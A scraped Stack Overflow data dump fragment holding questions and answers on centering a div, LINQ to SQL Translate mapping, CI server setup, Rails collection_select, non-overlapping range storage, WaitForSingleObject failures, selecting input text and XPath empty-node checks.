"author_profile": "https://Stackoverflow.com/users/9138195",
"pm_score": 2,
"selected": false,
"text": "<p><strong>CSS solution</strong>\n<strong>In two lines only</strong></p>\n<p>It centralize your inner div horizontally and vertically.</p>\n<pre><code>#outer{\n display: flex;\n}\n#inner{\n margin: auto;\n}\n</code></pre>\n<p>for only horizontal align, change</p>\n<pre><code>margin: 0 auto;\n</code></pre>\n<p>and for vertical, change</p>\n<pre><code>margin: auto 0;\n</code></pre>\n"
},
{
"answer_id": 59729773,
"author": "1.618",
"author_id": 225429,
"author_profile": "https://Stackoverflow.com/users/225429",
"pm_score": 0,
"selected": false,
"text": "<p>Just say:\n$(\"#divID\").html($('').html($(\"#divID\").html()));</p>\n"
},
{
"answer_id": 64030396,
"author": "Rayees AC",
"author_id": 13368658,
"author_profile": "https://Stackoverflow.com/users/13368658",
"pm_score": 0,
"selected": false,
"text": "<p>It can be done with only <strong>CSS</strong>. But they asked with <strong>jQuery or JavaScript</strong></p>\n<p>Here, use <strong><a href=\"https://css-tricks.com/snippets/css/a-guide-to-flexbox/\" rel=\"nofollow noreferrer\"><code>CSS Flex box</code></a></strong> property to align the div center.</p>\n<pre><code>body.center{\n display:flex;\n align-items:center; // Vertical alignment\n justify-content:center; // Horizontal alignment\n}\n</code></pre>\n<blockquote>\n<p><strong><a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/align-items\" rel=\"nofollow noreferrer\">align-items:center;</a></strong> - used to align vertically.</p>\n</blockquote>\n<blockquote>\n<p><strong><a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content\" rel=\"nofollow noreferrer\">justify-content:center;</a></strong> - used to align horizontally.</p>\n</blockquote>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"false\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>document.querySelector(\"body\").classList.add(\"center\");</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>body {\n margin : 0;\n height:100vh;\n width:100%;\n background: #ccc;\n}\n#main{\n background:#00cc00;\n width:100px;\n height:100px;\n}\nbody.center{\n display:flex;\n align-items:center;\n justify-content:center;\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><body>\n <div id=\"main\"></div>\n</body></code></pre>\r\n</div>\r\n</div>\r\n</p>\n"
},
{
"answer_id": 73155953,
"author": "aji stack",
"author_id": 5755460,
"author_profile": "https://Stackoverflow.com/users/5755460",
"pm_score": 0,
"selected": false,
"text": "<p>I used this to put the UL in the middle position.</p>\n<pre><code>cadasWidth = $('.card-dashboard').innerWidth();\ncadasWidthCenter = cadasWidth/2;\n\nulmenuWidth = $('.card-dashboard ul#menu').outerWidth();\nulmenuWidthCenter = ulmenuWidth/2;\n\nulmenuStart = cadasWidthCenter - ulmenuWidthCenter;\n\n$('.card-dashboard ul#menu').css({\n 'left' : ulmenuStart,\n 'position' : 'relative'\n});\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210717",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27294/"
] |
How do I go about setting a `<div>` in the center of the screen using jQuery?
|
I like adding functions to jQuery so this function would help:
```
jQuery.fn.center = function () {
this.css("position","absolute");
this.css("top", Math.max(0, (($(window).height() - $(this).outerHeight()) / 2) +
$(window).scrollTop()) + "px");
this.css("left", Math.max(0, (($(window).width() - $(this).outerWidth()) / 2) +
$(window).scrollLeft()) + "px");
return this;
}
```
Now we can just write:
```
$(element).center();
```
Demo: [Fiddle](http://jsfiddle.net/DerekL/GbDw9/) (with added parameter)
|
210,724 |
<p>I am working with some tables where I want the C# class to have a different property name than the underlying table column. However, when I use the Translate method to read the results, the properties that don't match the source name never get populated. Even when I use Linq to generate the SQL.</p>
<p>For instance, my table is defined in the DB like this:</p>
<pre><code>CREATE TABLE User_Entry (
UserId int IDENTITY (1, 1) NOT NULL,
Login_Id varchar (50) NOT NULL,
Active char(1) NOT NULL,
PASSWORD varchar(75) NULL
)
</code></pre>
<p>Here's the class it maps to (generated by the LINQ designer...LINQ attributes and other stuff left out for brevity):</p>
<pre><code>public partial class User
{
int UserId;
string Login;
string Active,
string Pwd
}
</code></pre>
<p>When I do the following, the Login and Pwd properties are not populated but the UserId and the Active properties are.</p>
<pre><code>Data.DbContext db = new Data.DbContext();
IQueryable query = db.Users.Where(usr => usr.Login == request.LoginString);
SqlCommand cmd = (SqlCommand)data.GetCommand(query);
... execute the command (asynchronously) ...
User user = db.Translate<User>( dataReaderResult ).FirstOrDefault();
</code></pre>
<p>!At this point, I inspect the user object and I can see that the Login and Pwd columns are not populated!</p>
<p>Here is the sql that was generated:</p>
<pre><code>exec sp_executesql N'SELECT [t0].[UserID] AS [UserId], [t0].[Login_ID] AS [Login], [t0].[Active], [t0].[PASSWORD] AS [Pwd]
FROM [dbo].[User_Entry] AS [t0]
WHERE [t0].[Login_ID] = @p0', N'@p0 varchar(13)', @p0 = 'test_user'
</code></pre>
<p>Originally, when the UserId column had a different property name I was getting an exception <code>The required column [UserId] does not exist in the results</code>. I looked around and I saw a response from some MSFT people that said it was a bug.</p>
<p>Is this related? Was it ever fixed? Does anyone know when it will be fixed?</p>
<p>Edit: Some more info.</p>
<p>The bug that I think this is related to has a comment from Kathy Lu MSFT on 14 Aug 2007 <a href="https://forums.microsoft.com/msdn/ShowPost.aspx?PostID=1983746&SiteID=1&pageid=0" rel="nofollow noreferrer">here</a>, where she says:</p>
<blockquote>
<p>Thank you for reporting this issue. From your issue we were able reproduce the issue and the product team is looking into an appropriate triage and resolution.</p>
</blockquote>
<p>I'm wondering if this is related to what I'm experiencing and if I can get more info about it. I searched <code>linq translate site:connect.microsoft.com</code> but I didn't find anything.</p>
|
[
{
"answer_id": 210765,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>I'll start. <strong>feel free to edit and improve this</strong></p>\n\n<p>This is for a ficticious product called: dundermifflin.com</p>\n\n<ol>\n<li><p>Setup a development virtual machine running the same software you plan on using in production: e.g. Ubuntu with PostgreSQL, Apache and PHP5.</p></li>\n<li><p>Each developer runs their own copy of this VM with the hostname set to their username, (e.g. phpguy.dundermifflin.com)</p></li>\n<li><p>Setup a central staging server (same as the development VM). This is staging.dundermifflin.com.</p></li>\n<li><p>Setup a central Subversion server with a new repository for dundermifflin.com. This is devel.dundermifflin.com.</p>\n\n<ul>\n<li>4a. Add post-commit hook to run tests for \"trunk\" commits</li>\n<li>4b. Add post-commit hook to package/deploy to staging server for commits tagged \"staging\"</li>\n<li>4c. Add post-commit hook to package/deploy to production server for commits tagged \"release\"</li>\n</ul></li>\n</ol>\n\n<p>This method does not address database continuous integration which means rolling back SVN to a previous revision will break the build unless your database is very static. Suggestions?</p>\n\n<ol start=\"5\">\n<li><p>Use Bugzilla on the central Subversion server (devel.dundermifflin.com) for bug tracking.</p></li>\n<li><p>Write a shell script to run PHPUnit/SimpleTest tests (to be called by item 4a).</p></li>\n</ol>\n"
},
{
"answer_id": 217307,
"author": "Christian C. Salvadó",
"author_id": 5445,
"author_profile": "https://Stackoverflow.com/users/5445",
"pm_score": 0,
"selected": false,
"text": "<p>For continuous integration, linked with your version control system, and automated unit testing I find this article very interesting:</p>\n\n<p><a href=\"http://nohn.net/blog/view/id/cruisecontrol_ant_and_phpunit\" rel=\"nofollow noreferrer\">Continuous builds with CruiseControl, Ant and PHPUnit</a></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210724",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16387/"
] |
I am working with some tables where I want the C# class to have a different property name than the underlying table column. However, when I use the Translate method to read the results, the properties that don't match the source name never get populated. Even when I use Linq to generate the SQL.
For instance, my table is defined in the DB like this:
```
CREATE TABLE User_Entry (
UserId int IDENTITY (1, 1) NOT NULL,
Login_Id varchar (50) NOT NULL,
Active char(1) NOT NULL,
PASSWORD varchar(75) NULL
)
```
Here's the class it maps to (generated by the LINQ designer...LINQ attributes and other stuff left out for brevity):
```
public partial class User
{
int UserId;
string Login;
string Active,
string Pwd
}
```
When I do the following, the Login and Pwd properties are not populated but the UserId and the Active properties are.
```
Data.DbContext db = new Data.DbContext();
IQueryable query = db.Users.Where(usr => usr.Login == request.LoginString);
SqlCommand cmd = (SqlCommand)data.GetCommand(query);
... execute the command (asynchronously) ...
User user = db.Translate<User>( dataReaderResult ).FirstOrDefault();
```
!At this point, I inspect the user object and I can see that the Login and Pwd columns are not populated!
Here is the sql that was generated:
```
exec sp_executesql N'SELECT [t0].[UserID] AS [UserId], [t0].[Login_ID] AS [Login], [t0].[Active], [t0].[PASSWORD] AS [Pwd]
FROM [dbo].[User_Entry] AS [t0]
WHERE [t0].[Login_ID] = @p0', N'@p0 varchar(13)', @p0 = 'test_user'
```
Originally, when the UserId column had a different property name I was getting an exception `The required column [UserId] does not exist in the results`. I looked around and I saw a response from some MSFT people that said it was a bug.
Is this related? Was it ever fixed? Does anyone know when it will be fixed?
Edit: Some more info.
The bug that I think this is related to has a comment from Kathy Lu MSFT on 14 Aug 2007 [here](https://forums.microsoft.com/msdn/ShowPost.aspx?PostID=1983746&SiteID=1&pageid=0), where she says:
>
> Thank you for reporting this issue. From your issue we were able reproduce the issue and the product team is looking into an appropriate triage and resolution.
>
>
>
I'm wondering if this is related to what I'm experiencing and if I can get more info about it. I searched `linq translate site:connect.microsoft.com` but I didn't find anything.
|
I'll start. **feel free to edit and improve this**
This is for a ficticious product called: dundermifflin.com
1. Setup a development virtual machine running the same software you plan on using in production: e.g. Ubuntu with PostgreSQL, Apache and PHP5.
2. Each developer runs their own copy of this VM with the hostname set to their username, (e.g. phpguy.dundermifflin.com)
3. Setup a central staging server (same as the development VM). This is staging.dundermifflin.com.
4. Setup a central Subversion server with a new repository for dundermifflin.com. This is devel.dundermifflin.com.
* 4a. Add post-commit hook to run tests for "trunk" commits
* 4b. Add post-commit hook to package/deploy to staging server for commits tagged "staging"
* 4c. Add post-commit hook to package/deploy to production server for commits tagged "release"
This method does not address database continuous integration which means rolling back SVN to a previous revision will break the build unless your database is very static. Suggestions?
5. Use Bugzilla on the central Subversion server (devel.dundermifflin.com) for bug tracking.
6. Write a shell script to run PHPUnit/SimpleTest tests (to be called by item 4a).
|
210,725 |
<p>I have a drop down like this on my page:</p>
<pre><code><p>
<%= f.label :episode_id %><br />
<%= f.collection_select(:episode_id, @episodes, :id, :show) %>
</p>
</code></pre>
<p>An episode has an id and <code>belongs_to</code> to a show which has a name. In the dropdown, I'd like to display the show name. <code>:show.name</code> doesn't work to display the name. How do I do this?</p>
|
[
{
"answer_id": 210825,
"author": "Michael Sepcot",
"author_id": 6033,
"author_profile": "https://Stackoverflow.com/users/6033",
"pm_score": 2,
"selected": true,
"text": "<p>One way to do this would be to create a method in your Episode class called <code>show_name</code> like so:</p>\n\n<pre><code>def show_name\n show.name\nend\n</code></pre>\n\n<p>The last symbol you are passing into collection_select is the name of the method that you want to call to get the option text.</p>\n"
},
{
"answer_id": 210918,
"author": "salt.racer",
"author_id": 757,
"author_profile": "https://Stackoverflow.com/users/757",
"pm_score": 0,
"selected": false,
"text": "<p>I don't know if this would work, but did you try <code>episode.show.name</code>?</p>\n"
},
{
"answer_id": 210920,
"author": "madlep",
"author_id": 14160,
"author_profile": "https://Stackoverflow.com/users/14160",
"pm_score": 0,
"selected": false,
"text": "<p>You could use #select instead of #collection_select. You need to do a bit more work to construct the value/text pairs, but it's not too bad.</p>\n\n<pre><code>f.select(:episode, :id, @episodes.map{|e| [e.show.name, e.id]})\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210725",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2109/"
] |
I have a drop down like this on my page:
```
<p>
<%= f.label :episode_id %><br />
<%= f.collection_select(:episode_id, @episodes, :id, :show) %>
</p>
```
An episode has an id and `belongs_to` to a show which has a name. In the dropdown, I'd like to display the show name. `:show.name` doesn't work to display the name. How do I do this?
|
One way to do this would be to create a method in your Episode class called `show_name` like so:
```
def show_name
show.name
end
```
The last symbol you are passing into collection\_select is the name of the method that you want to call to get the option text.
|
210,729 |
<p>I need a data structure that can store non-overlapping ranges within a single dimension. The entire range of the dimension need not be completely covered.</p>
<p>An example would be a conference room scheduler. The dimension is time. No two schedules may overlap. The conference room isn't always scheduled. In other words, for a given time there can be at most one schedule.</p>
<p>A quick solution is for a range to store the start and end times.</p>
<pre><code>Range {
Date start
Date end
}
</code></pre>
<p>This is non-normalized and requires the container to enforce no overlapping. For two adjacent ranges, the previous' end will be redundant with the next's start.</p>
<p>Another scheme might involve storing one boundary value with each range. But for a contiguous sequence of ranges, there will always be one more boundary values than ranges. To get around this the sequence could be represented as alternating boundary values and ranges:</p>
<p>B = boundary value, r = range</p>
<blockquote>
<p>B-r-B-r-B</p>
</blockquote>
<p>The data structure might look like:</p>
<pre><code>Boundary {
Date value
Range prev
Range next
}
Range {
Boundary start
Boundary end
}
</code></pre>
<p>In essence it's a doubly linked list with alternating types.</p>
<p>Ultimately, whatever data structure I use will be represented in both memory (application code) and a relational database.</p>
<p>I'm curious what academic or industry tried solutions exists.</p>
|
[
{
"answer_id": 210750,
"author": "Sklivvz",
"author_id": 7028,
"author_profile": "https://Stackoverflow.com/users/7028",
"pm_score": 1,
"selected": false,
"text": "<p>The <em>normalized</em> way to represent your data would be to store a record for each unit of time. This can be done in the example of the conference scheduling application. Your constraint would be a unique constraint for </p>\n\n<pre><code>(RoomId, StartTime)\n</code></pre>\n\n<p>In the case of continuous ranges, you necessarily need to store 2 things, one boundary and either the second boundary or the length. It is usually done by storing the second boundary and then creating a constraint on both boundary of the kind </p>\n\n<pre><code>(boundary not between colBoudaryA and colBoundaryB)\n</code></pre>\n\n<p>with the additional constraint that </p>\n\n<pre><code>(startBoundary < endBoundary)\n</code></pre>\n"
},
{
"answer_id": 210752,
"author": "Adam Davis",
"author_id": 2915,
"author_profile": "https://Stackoverflow.com/users/2915",
"pm_score": 1,
"selected": false,
"text": "<p>A doubly linked list works well because you only use as much memory as you have filled ranges, and you need only check overlapping on insertions - it's almost trivial to do so at that point. If there's overlap the new item is rejected.</p>\n\n<pre>\nRoomID\nReservationID\nPreviousReservationID\nNextReservationID\nStartTimeDate\nEndTimeDate\nPriority\nUserID\n</pre>\n\n<p>The priority and UserID allow for schedules to have priorities (professor might have more clout than a student group) so that a new item can 'knock' the lower priority items out of the way during an insertion, and the UserID allows an email to be sent to the bumped meeting organizers.</p>\n\n<p>You'll want to consider adding a table that points to the first meeting of each day so that searches can be optimized.</p>\n\n<p>-Adam</p>\n"
},
{
"answer_id": 210753,
"author": "stevemegson",
"author_id": 25028,
"author_profile": "https://Stackoverflow.com/users/25028",
"pm_score": 0,
"selected": false,
"text": "<p>A lot depends on what you'll be doing with the data, and therefore which operations need to be efficient. However, I'd consider a doubly linked list of Ranges with logic in the setters of Start and End to check whether it now overlaps its neighbours, and to shrink them if so (or throw an exception, or however you want to handle an attempted overlap).</p>\n\n<p>That gives a nice simple linked list of booked periods to read, but no container responsible for maintaining the no-overlap rule.</p>\n"
},
{
"answer_id": 210823,
"author": "David Nehme",
"author_id": 14167,
"author_profile": "https://Stackoverflow.com/users/14167",
"pm_score": 0,
"selected": false,
"text": "<p>This is called the \"Unary Resource\" constraint in the <a href=\"http://en.wikipedia.org/wiki/Constraint_programming\" rel=\"nofollow noreferrer\">Constraint Programming</a> world. There is a lot of research in this area, specifically for the case when the event times aren't fixed, and you need to find time-slots for each of them.\nThere is a commercial C++ package that does your problem and more <a href=\"http://www.ilog.com/products/cp/\" rel=\"nofollow noreferrer\">Ilog CP</a>, but it is likely overkill. There is also a somewhat open-source version called <a href=\"http://87.230.22.228/\" rel=\"nofollow noreferrer\">eclipse</a> (no relation to the IDE).</p>\n"
},
{
"answer_id": 211031,
"author": "Jonathan Leffler",
"author_id": 15168,
"author_profile": "https://Stackoverflow.com/users/15168",
"pm_score": 0,
"selected": false,
"text": "<p>This is non-trivial because (in the database world) you have to compare multiple rows to determine non-overlapping ranges. Clearly, when the information is in memory, then other representations such as lists in time order are possible. I think, though, that you'd be best off with your 'start + end' notation, even in a list.</p>\n\n<p>There are whole books on the subject - part of 'Temporal Database' handling. Two you could look at are Darwen, Date and Lorentzos \"<a href=\"https://rads.stackoverflow.com/amzn/click/com/B001E4587Q\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Temporal Data and the Relational Model</a>\" and (at a radically different extreme) \"<a href=\"https://rads.stackoverflow.com/amzn/click/com/1558604367\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Developing Time-Oriented Database Applications in SQL</a>\", Richard T. Snodgrass, Morgan Kaufmann Publishers, Inc., San Francisco, July, 1999, 504+xxiii pages, ISBN 1-55860-436-7. That is out of print but available as PDF on his web site at <a href=\"http://www.cs.arizona.edu/~rts/publications.html\" rel=\"nofollow noreferrer\">cs.arizona.edu</a> (so a Google search makes it pretty easy to find).</p>\n\n<p>One of the relevant data structures is, I believe, an <a href=\"http://en.wikipedia.org/wiki/R-tree\" rel=\"nofollow noreferrer\">R-Tree</a>. That is often used for 2-dimensional structures, but can also be effective for 1-dimensional structures.</p>\n\n<p>You can also look for \"<a href=\"http://en.wikipedia.org/wiki/Allen%27s_Interval_Algebra\" rel=\"nofollow noreferrer\">Allen's Relations</a>\" for intervals - they may be helpful to you. </p>\n"
},
{
"answer_id": 765420,
"author": "dkretz",
"author_id": 31641,
"author_profile": "https://Stackoverflow.com/users/31641",
"pm_score": 0,
"selected": false,
"text": "<p>I've had success storing a beginning time and duration. The test for overlap would be something like</p>\n\n<pre><code>WHERE NOT EXISTS (\n SELECT 1 FROM table\n WHERE BeginTime < NewBeginTime AND BeginTime + Duration > NewBeginTime\n)\nAND NOT EXISTS (\n SELECT 1 FROM table\n WHERE NewBeginTime < BeginTime AND NewBeginTime + NewDuration > BeginTime\n)\n</code></pre>\n\n<p>I think without testing, but hopefully you get the drift</p>\n"
},
{
"answer_id": 3335783,
"author": "Dmitry",
"author_id": 391903,
"author_profile": "https://Stackoverflow.com/users/391903",
"pm_score": 1,
"selected": false,
"text": "<ol>\n<li><p>For non-overlapping intervals you could just sort you intervals with starting point. When you add a new interval to this structure, you could just check that start and end points do not belong to this interval set. To check whether some point X belong interval set you could use binary search to find the nearest start point and check that X belongs it's interval.\nThis approach is not so optimal for modify operations.</p></li>\n<li><p>You could look at <a href=\"http://en.wikipedia.org/wiki/Interval_tree\" rel=\"nofollow noreferrer\">Interval tree</a> structure - for non-overlapping intervals it has optimal query and modify operations.</p></li>\n</ol>\n"
},
{
"answer_id": 26112540,
"author": "Matthew Schinckel",
"author_id": 188,
"author_profile": "https://Stackoverflow.com/users/188",
"pm_score": 1,
"selected": false,
"text": "<p>If you are lucky (!) enough to be using Postgres, you can use a <code>tstzrange</code> column, and apply a constraint to prevent overlaps. The bonus of using a range type is that it will inherently prevent start being greater than finish.</p>\n\n<pre><code>ALTER TABLE \"booking\" \nADD CONSTRAINT \"overlapping_bookings\" \nEXCLUDE USING gist (\"period\" WITH &&, \"room\" WITH =);\n</code></pre>\n\n<p>You may need to <code>CREATE EXTENSION IF NOT EXISTS btree_gist</code>, as creating a gist using && is not supported without that extension.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210729",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24396/"
] |
I need a data structure that can store non-overlapping ranges within a single dimension. The entire range of the dimension need not be completely covered.
An example would be a conference room scheduler. The dimension is time. No two schedules may overlap. The conference room isn't always scheduled. In other words, for a given time there can be at most one schedule.
A quick solution is for a range to store the start and end times.
```
Range {
Date start
Date end
}
```
This is non-normalized and requires the container to enforce no overlapping. For two adjacent ranges, the previous' end will be redundant with the next's start.
Another scheme might involve storing one boundary value with each range. But for a contiguous sequence of ranges, there will always be one more boundary values than ranges. To get around this the sequence could be represented as alternating boundary values and ranges:
B = boundary value, r = range
>
> B-r-B-r-B
>
>
>
The data structure might look like:
```
Boundary {
Date value
Range prev
Range next
}
Range {
Boundary start
Boundary end
}
```
In essence it's a doubly linked list with alternating types.
Ultimately, whatever data structure I use will be represented in both memory (application code) and a relational database.
I'm curious what academic or industry tried solutions exists.
|
The *normalized* way to represent your data would be to store a record for each unit of time. This can be done in the example of the conference scheduling application. Your constraint would be a unique constraint for
```
(RoomId, StartTime)
```
In the case of continuous ranges, you necessarily need to store 2 things, one boundary and either the second boundary or the length. It is usually done by storing the second boundary and then creating a constraint on both boundary of the kind
```
(boundary not between colBoudaryA and colBoundaryB)
```
with the additional constraint that
```
(startBoundary < endBoundary)
```
|
210,751 |
<p>MSDN says</p>
<blockquote>
<p>If the function fails, the return value is WAIT_FAILED. To get extended error information, call GetLastError.</p>
</blockquote>
<p>The code is:</p>
<pre><code>HANDLE m_mutex_handle; /**< m_mutex_handle. The handle to the created mutex. */
m_mutex_handle = ::CreateMutex( 0, false, NULL );
::WaitForSingleObject( m_mutex_handle, INFINITE );
</code></pre>
<p>But what are the reasons that could happen?</p>
|
[
{
"answer_id": 210758,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>Passing in a bogus object might cause that.</p>\n"
},
{
"answer_id": 210768,
"author": "Windows programmer",
"author_id": 23705,
"author_profile": "https://Stackoverflow.com/users/23705",
"pm_score": 1,
"selected": false,
"text": "<p>Closing a handle while the handle is being waited on can also cause undefined behaviour.</p>\n"
},
{
"answer_id": 210779,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 3,
"selected": false,
"text": "<p>If you lack the SYNCHRONIZE privilege on the object, then you cannot wait. WAIT_FAILED will be returned.</p>\n"
},
{
"answer_id": 41151189,
"author": "osullivj",
"author_id": 454195,
"author_profile": "https://Stackoverflow.com/users/454195",
"pm_score": 1,
"selected": false,
"text": "<p>I got WAIT_FAILED from WaitForMultipleObjects when passing in an array of thread handles as one of them was a pseudo handle. As ever the immortal Raymond Chen explained, and provided the fix: <a href=\"https://devblogs.microsoft.com/oldnewthing/20141015-00/?p=43843\" rel=\"nofollow noreferrer\">https://devblogs.microsoft.com/oldnewthing/20141015-00/?p=43843</a></p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210751",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11032/"
] |
MSDN says
>
> If the function fails, the return value is WAIT\_FAILED. To get extended error information, call GetLastError.
>
>
>
The code is:
```
HANDLE m_mutex_handle; /**< m_mutex_handle. The handle to the created mutex. */
m_mutex_handle = ::CreateMutex( 0, false, NULL );
::WaitForSingleObject( m_mutex_handle, INFINITE );
```
But what are the reasons that could happen?
|
If you lack the SYNCHRONIZE privilege on the object, then you cannot wait. WAIT\_FAILED will be returned.
|
210,761 |
<p>Upon page load I want to move the cursor to a particular field. No problem. But I also need to select and highlight the default value that is placed in that text field.</p>
|
[
{
"answer_id": 210764,
"author": "John Millikin",
"author_id": 3560,
"author_profile": "https://Stackoverflow.com/users/3560",
"pm_score": 8,
"selected": true,
"text": "<p>From <a href=\"http://www.codeave.com/javascript/code.asp?u_log=7004\" rel=\"noreferrer\">http://www.codeave.com/javascript/code.asp?u_log=7004</a>:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var input = document.getElementById('myTextInput');\r\ninput.focus();\r\ninput.select();</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><input id=\"myTextInput\" value=\"Hello world!\" /></code></pre>\r\n</div>\r\n</div>\r\n</p>\n"
},
{
"answer_id": 211199,
"author": "roenving",
"author_id": 23142,
"author_profile": "https://Stackoverflow.com/users/23142",
"pm_score": 4,
"selected": false,
"text": "<p>To do it on page load:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>window.onload = function () {\r\n var input = document.getElementById('myTextInput');\r\n input.focus();\r\n input.select();\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><input id=\"myTextInput\" value=\"Hello world!\" /></code></pre>\r\n</div>\r\n</div>\r\n</p>\n"
},
{
"answer_id": 4175179,
"author": "dvo",
"author_id": 507031,
"author_profile": "https://Stackoverflow.com/users/507031",
"pm_score": 5,
"selected": false,
"text": "<p>In your input tag, place the following:</p>\n\n<pre><code>onFocus=\"this.select()\"\n</code></pre>\n"
},
{
"answer_id": 27326206,
"author": "pedalGeoff",
"author_id": 498685,
"author_profile": "https://Stackoverflow.com/users/498685",
"pm_score": 3,
"selected": false,
"text": "<p>I found a very simple method that works well:</p>\n\n<pre><code><input type=\"text\" onclick=\"this.focus();this.select()\">\n</code></pre>\n"
},
{
"answer_id": 37652888,
"author": "Vivek ab",
"author_id": 5523153,
"author_profile": "https://Stackoverflow.com/users/5523153",
"pm_score": 5,
"selected": false,
"text": "<p>try this. this will work on both Firefox and chrome.</p>\n<blockquote>\n<p><code><input type="text" value="test" autofocus onfocus="this.select()"></code></p>\n</blockquote>\n"
},
{
"answer_id": 38147380,
"author": "Sean M",
"author_id": 1594456,
"author_profile": "https://Stackoverflow.com/users/1594456",
"pm_score": 2,
"selected": false,
"text": "<p>when using jquery...</p>\n\n<p>html:</p>\n\n<pre><code><input type='text' value='hello world' id='hello-world-input'>\n</code></pre>\n\n<p>jquery:</p>\n\n<pre><code>$(function() {\n $('#hello-world-input').focus().select();\n});\n</code></pre>\n\n<p>example: <a href=\"https://jsfiddle.net/seanmcmills/xmh4e0d4/\" rel=\"nofollow\">https://jsfiddle.net/seanmcmills/xmh4e0d4/</a></p>\n"
},
{
"answer_id": 51416786,
"author": "paranjothi",
"author_id": 6362807,
"author_profile": "https://Stackoverflow.com/users/6362807",
"pm_score": 0,
"selected": false,
"text": "<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code> var input = document.getElementById('myTextInput');\r\n input.focus();\r\n input.setSelectionRange( 6, 19 );</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code> <input id=\"myTextInput\" value=\"Hello default value world!\" /></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>select particular text on textfield</p>\n\n<p>Also you can use like</p>\n\n<pre><code>input.selectionStart = 6;\ninput.selectionEnd = 19;\n</code></pre>\n"
},
{
"answer_id": 59733850,
"author": "M. Ivanov",
"author_id": 10673830,
"author_profile": "https://Stackoverflow.com/users/10673830",
"pm_score": 0,
"selected": false,
"text": "<p>Using the <code>autofocus</code> attribute works well with text input and checkboxes.</p>\n\n<pre><code><input type=\"text\" name=\"foo\" value=\"boo\" autofocus=\"autofocus\"> FooBoo\n<input type=\"checkbox\" name=\"foo\" value=\"boo\" autofocus=\"autofocus\"> FooBoo\n</code></pre>\n"
},
{
"answer_id": 62305440,
"author": "lifeae",
"author_id": 12887129,
"author_profile": "https://Stackoverflow.com/users/12887129",
"pm_score": 0,
"selected": false,
"text": "<p>Let the input text field automatically get focus when the page loads:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><form action=\"/action_page.php\">\n <input type=\"text\" id=\"fname\" name=\"fname\" autofocus>\n <input type=\"submit\">\n</form>\n</code></pre>\n\n<p>Source : <a href=\"https://www.w3schools.com/tags/att_input_autofocus.asp\" rel=\"nofollow noreferrer\">https://www.w3schools.com/tags/att_input_autofocus.asp</a></p>\n"
},
{
"answer_id": 67662375,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>In your input tag use autofocus like this</p>\n<pre><code><input type="text" autofocus>\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210761",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4444/"
] |
Upon page load I want to move the cursor to a particular field. No problem. But I also need to select and highlight the default value that is placed in that text field.
|
From <http://www.codeave.com/javascript/code.asp?u_log=7004>:
```js
var input = document.getElementById('myTextInput');
input.focus();
input.select();
```
```html
<input id="myTextInput" value="Hello world!" />
```
|
210,787 |
<p>I have a xml which is max 3 levels deep. Now by using C# or Xpath what the best method to check the whether all the child nodes under a parent node are empty.</p>
<p>Thanks in Advance.</p>
|
[
{
"answer_id": 210822,
"author": "C. K. Young",
"author_id": 13,
"author_profile": "https://Stackoverflow.com/users/13",
"pm_score": 4,
"selected": true,
"text": "<p>Given a sample document of:</p>\n\n<pre><code><foo>\n <bar>\n <baz/>\n <baz>Hello, world!</baz>\n <baz><qux/></baz>\n </bar>\n</foo>\n</code></pre>\n\n<p>This expression tells you which children of <code>foo/bar</code> have any child elements:</p>\n\n<pre><code>foo/bar/*[count(*)>0]\n</code></pre>\n\n<p>This expression tells you which children of <code>foo/bar</code> have any child text nodes:</p>\n\n<pre><code>foo/bar/*[text()]\n</code></pre>\n\n<p>So to ensure that all children are empty (no child elements or text nodes), ensure that this expression returns true:</p>\n\n<pre><code>not(foo/bar/*[count(*)>0 or text()])\n</code></pre>\n"
},
{
"answer_id": 210845,
"author": "David Hall",
"author_id": 2660,
"author_profile": "https://Stackoverflow.com/users/2660",
"pm_score": 0,
"selected": false,
